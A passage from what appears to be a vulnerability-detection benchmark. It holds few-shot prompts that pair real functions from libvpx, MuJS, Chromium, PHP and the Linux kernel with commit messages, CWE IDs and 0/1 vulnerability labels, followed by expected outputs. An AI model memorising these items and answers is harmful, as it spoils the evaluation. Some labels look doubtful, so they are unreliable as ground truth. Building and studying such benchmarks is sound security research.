Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static unsigned int variance_ref(const uint8_t *ref, const uint8_t *src,
int l2w, int l2h, unsigned int *sse_ptr) {
int se = 0;
unsigned int sse = 0;
const int w = 1 << l2w, h = 1 << l2h;
for (int y = 0; y < h; y++) {
for (int x = 0; x < w; x++) {
int diff = ref[w * y + x] - src[w * y + x];
se += diff;
sse += diff * diff;
}
//// Truncate high bit depth results by downshifting (with rounding) by:
//// 2 * (bit_depth - 8) for sse
//// (bit_depth - 8) for se
}
*sse_ptr = sse;
return sse - (((int64_t) se * se) >> (l2w + l2h));
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119
Target: 1
Example 2:
Code: int nfs_refresh_inode(struct inode *inode, struct nfs_fattr *fattr)
{
int status;
if ((fattr->valid & NFS_ATTR_FATTR) == 0)
return 0;
spin_lock(&inode->i_lock);
status = nfs_refresh_inode_locked(inode, fattr);
spin_unlock(&inode->i_lock);
return status;
}
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <[email protected]>
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void Sp_split_regexp(js_State *J)
{
js_Regexp *re;
const char *text;
int limit, len, k;
const char *p, *a, *b, *c, *e;
Resub m;
text = checkstring(J, 0);
re = js_toregexp(J, 1);
limit = js_isdefined(J, 2) ? js_tointeger(J, 2) : 1 << 30;
js_newarray(J);
len = 0;
e = text + strlen(text);
/* splitting the empty string */
if (e == text) {
if (js_regexec(re->prog, text, &m, 0)) {
if (len == limit) return;
js_pushliteral(J, "");
js_setindex(J, -2, 0);
}
return;
}
p = a = text;
while (a < e) {
if (js_regexec(re->prog, a, &m, a > text ? REG_NOTBOL : 0))
break; /* no match */
b = m.sub[0].sp;
c = m.sub[0].ep;
/* empty string at end of last match */
if (b == p) {
++a;
continue;
}
if (len == limit) return;
js_pushlstring(J, p, b - p);
js_setindex(J, -2, len++);
for (k = 1; k < m.nsub; ++k) {
if (len == limit) return;
js_pushlstring(J, m.sub[k].sp, m.sub[k].ep - m.sub[k].sp);
js_setindex(J, -2, len++);
}
a = p = c;
}
if (len == limit) return;
js_pushstring(J, p);
js_setindex(J, -2, len);
}
Commit Message: Bug 700937: Limit recursion in regexp matcher.
Also handle negative return code as an error in the JS bindings.
CWE ID: CWE-400
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static EncodedJSValue JSC_HOST_CALL jsTestObjPrototypeFunctionOverloadedMethod2(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSTestObj::s_info))
return throwVMTypeError(exec);
JSTestObj* castedThis = jsCast<JSTestObj*>(asObject(thisValue));
ASSERT_GC_OBJECT_INHERITS(castedThis, &JSTestObj::s_info);
TestObj* impl = static_cast<TestObj*>(castedThis->impl());
if (exec->argumentCount() < 1)
return throwVMError(exec, createTypeError(exec, "Not enough arguments"));
TestObj* objArg(toTestObj(MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined)));
if (exec->hadException())
return JSValue::encode(jsUndefined());
size_t argsCount = exec->argumentCount();
if (argsCount <= 1) {
impl->overloadedMethod(objArg);
return JSValue::encode(jsUndefined());
}
int intArg(MAYBE_MISSING_PARAMETER(exec, 1, DefaultIsUndefined).toInt32(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
impl->overloadedMethod(objArg, intArg);
return JSValue::encode(jsUndefined());
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
Target: 1
Example 2:
Code: static struct kern_ipc_perm *sysvipc_find_ipc(struct ipc_ids *ids, loff_t pos,
loff_t *new_pos)
{
struct kern_ipc_perm *ipc;
int total, id;
total = 0;
for (id = 0; id < pos && total < ids->in_use; id++) {
ipc = idr_find(&ids->ipcs_idr, id);
if (ipc != NULL)
total++;
}
if (total >= ids->in_use)
return NULL;
for ( ; pos < IPCMNI; pos++) {
ipc = idr_find(&ids->ipcs_idr, pos);
if (ipc != NULL) {
*new_pos = pos + 1;
ipc_lock_by_ptr(ipc);
return ipc;
}
}
/* Out of range - return NULL to terminate iteration */
return NULL;
}
Commit Message: ipc,sem: fine grained locking for semtimedop
Introduce finer grained locking for semtimedop, to handle the common case
of a program wanting to manipulate one semaphore from an array with
multiple semaphores.
If the call is a semop manipulating just one semaphore in an array with
multiple semaphores, only take the lock for that semaphore itself.
If the call needs to manipulate multiple semaphores, or another caller is
in a transaction that manipulates multiple semaphores, the sem_array lock
is taken, as well as all the locks for the individual semaphores.
On a 24 CPU system, performance numbers with the semop-multi
test with N threads and N semaphores, look like this:
vanilla Davidlohr's Davidlohr's + Davidlohr's +
threads patches rwlock patches v3 patches
10 610652 726325 1783589 2142206
20 341570 365699 1520453 1977878
30 288102 307037 1498167 2037995
40 290714 305955 1612665 2256484
50 288620 312890 1733453 2650292
60 289987 306043 1649360 2388008
70 291298 306347 1723167 2717486
80 290948 305662 1729545 2763582
90 290996 306680 1736021 2757524
100 292243 306700 1773700 3059159
[[email protected]: do not call sem_lock when bogus sma]
[[email protected]: make refcounter atomic]
Signed-off-by: Rik van Riel <[email protected]>
Suggested-by: Linus Torvalds <[email protected]>
Acked-by: Davidlohr Bueso <[email protected]>
Cc: Chegu Vinod <[email protected]>
Cc: Jason Low <[email protected]>
Reviewed-by: Michel Lespinasse <[email protected]>
Cc: Peter Hurley <[email protected]>
Cc: Stanislav Kinsbursky <[email protected]>
Tested-by: Emmanuel Benisty <[email protected]>
Tested-by: Sedat Dilek <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-189
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: UnacceleratedStaticBitmapImage::UnacceleratedStaticBitmapImage(
sk_sp<SkImage> image) {
CHECK(image);
DCHECK(!image->isLazyGenerated());
paint_image_ =
CreatePaintImageBuilder()
.set_image(std::move(image), cc::PaintImage::GetNextContentId())
.TakePaintImage();
}
Commit Message: Fix *StaticBitmapImage ThreadChecker and unaccelerated SkImage destroy
- AcceleratedStaticBitmapImage was misusing ThreadChecker by having its
own detach logic. Using proper DetachThread is simpler, cleaner and
correct.
- UnacceleratedStaticBitmapImage didn't destroy the SkImage in the
proper thread, leading to GrContext/SkSp problems.
Bug: 890576
Change-Id: Ic71e7f7322b0b851774628247aa5256664bc0723
Reviewed-on: https://chromium-review.googlesource.com/c/1307775
Reviewed-by: Gabriel Charette <[email protected]>
Reviewed-by: Jeremy Roman <[email protected]>
Commit-Queue: Fernando Serboncini <[email protected]>
Cr-Commit-Position: refs/heads/master@{#604427}
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PHP_FUNCTION(imageconvolution)
{
zval *SIM, *hash_matrix;
zval **var = NULL, **var2 = NULL;
gdImagePtr im_src = NULL;
double div, offset;
int nelem, i, j, res;
float matrix[3][3] = {{0,0,0}, {0,0,0}, {0,0,0}};
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "radd", &SIM, &hash_matrix, &div, &offset) == FAILURE) {
RETURN_FALSE;
}
ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd);
nelem = zend_hash_num_elements(Z_ARRVAL_P(hash_matrix));
if (nelem != 3) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array");
RETURN_FALSE;
}
for (i=0; i<3; i++) {
if (zend_hash_index_find(Z_ARRVAL_P(hash_matrix), (i), (void **) &var) == SUCCESS && Z_TYPE_PP(var) == IS_ARRAY) {
if (Z_TYPE_PP(var) != IS_ARRAY || zend_hash_num_elements(Z_ARRVAL_PP(var)) != 3 ) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array");
RETURN_FALSE;
}
for (j=0; j<3; j++) {
if (zend_hash_index_find(Z_ARRVAL_PP(var), (j), (void **) &var2) == SUCCESS) {
SEPARATE_ZVAL(var2);
convert_to_double(*var2);
matrix[i][j] = (float)Z_DVAL_PP(var2);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have a 3x3 matrix");
RETURN_FALSE;
}
}
}
}
res = gdImageConvolution(im_src, matrix, (float)div, (float)offset);
if (res) {
RETURN_TRUE;
} else {
RETURN_FALSE;
}
}
Commit Message: Fixed bug #66356 (Heap Overflow Vulnerability in imagecrop())
And also fixed the bug: arguments are altered after some calls
CWE ID: CWE-189
Target: 1
Example 2:
Code: AffineTransform& AffineTransform::scale(double s)
{
return scale(s, s);
}
Commit Message: Avoid using forced layout to trigger paint invalidation for SVG containers
Currently, SVG containers in the LayoutObject hierarchy force layout of
their children if the transform changes. The main reason for this is to
trigger paint invalidation of the subtree. In some cases - changes to the
scale factor - there are other reasons to trigger layout, like computing
a new scale factor for <text> or re-layout nodes with non-scaling stroke.
Compute a "scale-factor change" in addition to the "transform change"
already computed, then use this new signal to determine if layout should
be forced for the subtree. Trigger paint invalidation using the
LayoutObject flags instead.
The downside to this is that paint invalidation will walk into "hidden"
containers which rarely require repaint (since they are not technically
visible). This will hopefully be rectified in a follow-up CL.
For the testcase from 603850, this essentially eliminates the cost of
layout (from ~350ms to ~0ms on authors machine; layout cost is related
to text metrics recalculation), bumping frame rate significantly.
BUG=603956,603850
Review-Url: https://codereview.chromium.org/1996543002
Cr-Commit-Position: refs/heads/master@{#400950}
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static enum si_sm_result smi_event_handler(struct smi_info *smi_info,
int time)
{
enum si_sm_result si_sm_result;
restart:
/*
* There used to be a loop here that waited a little while
* (around 25us) before giving up. That turned out to be
* pointless, the minimum delays I was seeing were in the 300us
* range, which is far too long to wait in an interrupt. So
* we just run until the state machine tells us something
* happened or it needs a delay.
*/
si_sm_result = smi_info->handlers->event(smi_info->si_sm, time);
time = 0;
while (si_sm_result == SI_SM_CALL_WITHOUT_DELAY)
si_sm_result = smi_info->handlers->event(smi_info->si_sm, 0);
if (si_sm_result == SI_SM_TRANSACTION_COMPLETE) {
smi_inc_stat(smi_info, complete_transactions);
handle_transaction_done(smi_info);
goto restart;
} else if (si_sm_result == SI_SM_HOSED) {
smi_inc_stat(smi_info, hosed_count);
/*
* Do the before return_hosed_msg, because that
* releases the lock.
*/
smi_info->si_state = SI_NORMAL;
if (smi_info->curr_msg != NULL) {
/*
* If we were handling a user message, format
* a response to send to the upper layer to
* tell it about the error.
*/
return_hosed_msg(smi_info, IPMI_ERR_UNSPECIFIED);
}
goto restart;
}
/*
* We prefer handling attn over new messages. But don't do
* this if there is not yet an upper layer to handle anything.
*/
if (si_sm_result == SI_SM_ATTN || smi_info->got_attn) {
unsigned char msg[2];
if (smi_info->si_state != SI_NORMAL) {
/*
* We got an ATTN, but we are doing something else.
* Handle the ATTN later.
*/
smi_info->got_attn = true;
} else {
smi_info->got_attn = false;
smi_inc_stat(smi_info, attentions);
/*
* Got a attn, send down a get message flags to see
* what's causing it. It would be better to handle
* this in the upper layer, but due to the way
* interrupts work with the SMI, that's not really
* possible.
*/
msg[0] = (IPMI_NETFN_APP_REQUEST << 2);
msg[1] = IPMI_GET_MSG_FLAGS_CMD;
start_new_msg(smi_info, msg, 2);
smi_info->si_state = SI_GETTING_FLAGS;
goto restart;
}
}
/* If we are currently idle, try to start the next message. */
if (si_sm_result == SI_SM_IDLE) {
smi_inc_stat(smi_info, idles);
si_sm_result = start_next_msg(smi_info);
if (si_sm_result != SI_SM_IDLE)
goto restart;
}
if ((si_sm_result == SI_SM_IDLE)
&& (atomic_read(&smi_info->req_events))) {
/*
* We are idle and the upper layer requested that I fetch
* events, so do so.
*/
atomic_set(&smi_info->req_events, 0);
/*
* Take this opportunity to check the interrupt and
* message enable state for the BMC. The BMC can be
* asynchronously reset, and may thus get interrupts
* disable and messages disabled.
*/
if (smi_info->supports_event_msg_buff || smi_info->io.irq) {
start_check_enables(smi_info);
} else {
smi_info->curr_msg = alloc_msg_handle_irq(smi_info);
if (!smi_info->curr_msg)
goto out;
start_getting_events(smi_info);
}
goto restart;
}
if (si_sm_result == SI_SM_IDLE && smi_info->timer_running) {
/* Ok it if fails, the timer will just go off. */
if (del_timer(&smi_info->si_timer))
smi_info->timer_running = false;
}
out:
return si_sm_result;
}
Commit Message: ipmi_si: fix use-after-free of resource->name
When we excute the following commands, we got oops
rmmod ipmi_si
cat /proc/ioports
[ 1623.482380] Unable to handle kernel paging request at virtual address ffff00000901d478
[ 1623.482382] Mem abort info:
[ 1623.482383] ESR = 0x96000007
[ 1623.482385] Exception class = DABT (current EL), IL = 32 bits
[ 1623.482386] SET = 0, FnV = 0
[ 1623.482387] EA = 0, S1PTW = 0
[ 1623.482388] Data abort info:
[ 1623.482389] ISV = 0, ISS = 0x00000007
[ 1623.482390] CM = 0, WnR = 0
[ 1623.482393] swapper pgtable: 4k pages, 48-bit VAs, pgdp = 00000000d7d94a66
[ 1623.482395] [ffff00000901d478] pgd=000000dffbfff003, pud=000000dffbffe003, pmd=0000003f5d06e003, pte=0000000000000000
[ 1623.482399] Internal error: Oops: 96000007 [#1] SMP
[ 1623.487407] Modules linked in: ipmi_si(E) nls_utf8 isofs rpcrdma ib_iser ib_srpt target_core_mod ib_srp scsi_transport_srp ib_ipoib rdma_ucm ib_umad rdma_cm ib_cm dm_mirror dm_region_hash dm_log iw_cm dm_mod aes_ce_blk crypto_simd cryptd aes_ce_cipher ses ghash_ce sha2_ce enclosure sha256_arm64 sg sha1_ce hisi_sas_v2_hw hibmc_drm sbsa_gwdt hisi_sas_main ip_tables mlx5_ib ib_uverbs marvell ib_core mlx5_core ixgbe mdio hns_dsaf ipmi_devintf hns_enet_drv ipmi_msghandler hns_mdio [last unloaded: ipmi_si]
[ 1623.532410] CPU: 30 PID: 11438 Comm: cat Kdump: loaded Tainted: G E 5.0.0-rc3+ #168
[ 1623.541498] Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.37 11/21/2017
[ 1623.548822] pstate: a0000005 (NzCv daif -PAN -UAO)
[ 1623.553684] pc : string+0x28/0x98
[ 1623.557040] lr : vsnprintf+0x368/0x5e8
[ 1623.560837] sp : ffff000013213a80
[ 1623.564191] x29: ffff000013213a80 x28: ffff00001138abb5
[ 1623.569577] x27: ffff000013213c18 x26: ffff805f67d06049
[ 1623.574963] x25: 0000000000000000 x24: ffff00001138abb5
[ 1623.580349] x23: 0000000000000fb7 x22: ffff0000117ed000
[ 1623.585734] x21: ffff000011188fd8 x20: ffff805f67d07000
[ 1623.591119] x19: ffff805f67d06061 x18: ffffffffffffffff
[ 1623.596505] x17: 0000000000000200 x16: 0000000000000000
[ 1623.601890] x15: ffff0000117ed748 x14: ffff805f67d07000
[ 1623.607276] x13: ffff805f67d0605e x12: 0000000000000000
[ 1623.612661] x11: 0000000000000000 x10: 0000000000000000
[ 1623.618046] x9 : 0000000000000000 x8 : 000000000000000f
[ 1623.623432] x7 : ffff805f67d06061 x6 : fffffffffffffffe
[ 1623.628817] x5 : 0000000000000012 x4 : ffff00000901d478
[ 1623.634203] x3 : ffff0a00ffffff04 x2 : ffff805f67d07000
[ 1623.639588] x1 : ffff805f67d07000 x0 : ffffffffffffffff
[ 1623.644974] Process cat (pid: 11438, stack limit = 0x000000008d4cbc10)
[ 1623.651592] Call trace:
[ 1623.654068] string+0x28/0x98
[ 1623.657071] vsnprintf+0x368/0x5e8
[ 1623.660517] seq_vprintf+0x70/0x98
[ 1623.668009] seq_printf+0x7c/0xa0
[ 1623.675530] r_show+0xc8/0xf8
[ 1623.682558] seq_read+0x330/0x440
[ 1623.689877] proc_reg_read+0x78/0xd0
[ 1623.697346] __vfs_read+0x60/0x1a0
[ 1623.704564] vfs_read+0x94/0x150
[ 1623.711339] ksys_read+0x6c/0xd8
[ 1623.717939] __arm64_sys_read+0x24/0x30
[ 1623.725077] el0_svc_common+0x120/0x148
[ 1623.732035] el0_svc_handler+0x30/0x40
[ 1623.738757] el0_svc+0x8/0xc
[ 1623.744520] Code: d1000406 aa0103e2 54000149 b4000080 (39400085)
[ 1623.753441] ---[ end trace f91b6a4937de9835 ]---
[ 1623.760871] Kernel panic - not syncing: Fatal exception
[ 1623.768935] SMP: stopping secondary CPUs
[ 1623.775718] Kernel Offset: disabled
[ 1623.781998] CPU features: 0x002,21006008
[ 1623.788777] Memory Limit: none
[ 1623.798329] Starting crashdump kernel...
[ 1623.805202] Bye!
If io_setup is called successful in try_smi_init() but try_smi_init()
goes out_err before calling ipmi_register_smi(), so ipmi_unregister_smi()
will not be called while removing module. It leads to the resource that
allocated in io_setup() can not be freed, but the name(DEVICE_NAME) of
resource is freed while removing the module. It causes use-after-free
when cat /proc/ioports.
Fix this by calling io_cleanup() while try_smi_init() goes to out_err.
and don't call io_cleanup() until io_setup() returns successful to avoid
warning prints.
Fixes: 93c303d2045b ("ipmi_si: Clean up shutdown a bit")
Cc: [email protected]
Reported-by: NuoHan Qiao <[email protected]>
Suggested-by: Corey Minyard <[email protected]>
Signed-off-by: Yang Yingliang <[email protected]>
Signed-off-by: Corey Minyard <[email protected]>
CWE ID: CWE-416
Output: | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.